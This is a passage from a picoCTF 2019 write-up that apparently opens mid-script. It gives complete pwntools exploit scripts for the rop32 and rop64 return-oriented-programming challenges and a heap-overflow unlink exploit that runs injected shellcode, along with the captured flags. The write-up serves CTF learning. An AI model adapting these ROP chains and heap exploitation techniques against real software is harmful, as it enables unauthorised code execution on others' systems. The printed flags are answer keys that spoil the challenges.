  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/rop32_3_f3a10b5fa410146f5328fb7b3e63e7c0')
  REMOTE = True


# ROPgadget --binary ./vuln --rop --badbytes "0a"
from struct import pack

p = 'a'*(28)
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
p += pack('<I', 0x080da060) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da064) # @ .data + 4
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
p += pack('<I', 0x080da064) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x080da060) # padding without overwrite ebx
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x08049563) # int 0x80

sh.sendlineafter('?\n', p)

sh.interactive()

flag: picoCTF{rOp_t0_b1n_sH_cb4c373e}

rop64

Problem

Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64_5_7608f52be26a84e5625c50ba7adb22e0 on the shell server. Source.

Binary

Source

Solution

Same approach as rop32.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)


if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/rop64_5_7608f52be26a84e5625c50ba7adb22e0')
  REMOTE = True


# ROPgadget --binary ./vuln --rop --badbytes "0a"
from struct import pack

p = 'a'*(16+8)
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004156f4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000449135) # syscall ; ret

sh.sendlineafter('?\n', p)

sh.interactive()

flag: picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_cfc72366}

Heap overflow

Problem

Just pwn this using a heap overflow taking advantage of douglas malloc free program and get a flag. Its also found in /problems/heap-overflow_5_39d709fdc06b81d3c23b73bb9cca6bdb on the shell server. Source.

Binary

Source

Solution

Another challenge that is solved with the unlink method just like Afterlife and Secondlife. The difference is that this time we need a bit more finessing.

To make sure we trigger the unlink mechanics, we need to do two things: 1. change the size of the lastname chunk so it would be treated as a smallbin instead of a fastbin 2. fake a freed chunk after lastname that would be unlinked when merged with the lastname chunk.

The stack layout would look something like this:

  • fullname <– contains our shellcode
  • name <– untouched
  • lastname <– now with a size of 0x100 so it would be treated as a smallbin
  • a fake free chunk added that have the fd_ptr and bf_ptr set

When lastname is freed, it will try to merge with neighboring chunks which would trigger the unlink.

Exploit script:

from pwn import *
import sys

argv = sys.argv

DEBUG = True
BINARY = './vuln'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

def attach_gdb():
  gdb.attach(sh)

if DEBUG:
  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)

  if DEBUG:
    attach_gdb()

  REMOTE = False
else:
  s = ssh(host='2019shell1.picoctf.com', user='sashackers', password="XXX")
  sh = s.process('vuln', cwd='/problems/heap-overflow_5_39d709fdc06b81d3c23b73bb9cca6bdb')
  REMOTE = True

print sh.recvline()
leak = int(sh.recvline())

print hex(leak)

exit_got = 0x0804d02c

shellcode = 'a'*8
shellcode += asm('''
  jmp sc
  {}
sc:
  nop
  '''.format('nop\n'*100)+shellcraft.i386.linux.sh())

shellcode = shellcode.ljust(0x2a0-0x4)
shellcode += p32(0x49).ljust(0x48)
shellcode += p32(0x101)

sh.sendlineafter('fullname\n', shellcode)


fake_chunk = p32(0x101)
fake_chunk += p32(exit_got-12) 
fake_chunk += p32(leak+8)
fake_chunk = fake_chunk.ljust(0x100-0x4)+p32(0x101)

payload = 'a'*(0x100-4)+fake_chunk

sh.sendlineafter('lastname\n', payload)

sh.interactive()

flag: picoCTF{a_s1mpl3_h3ap_69424381}

tweet Share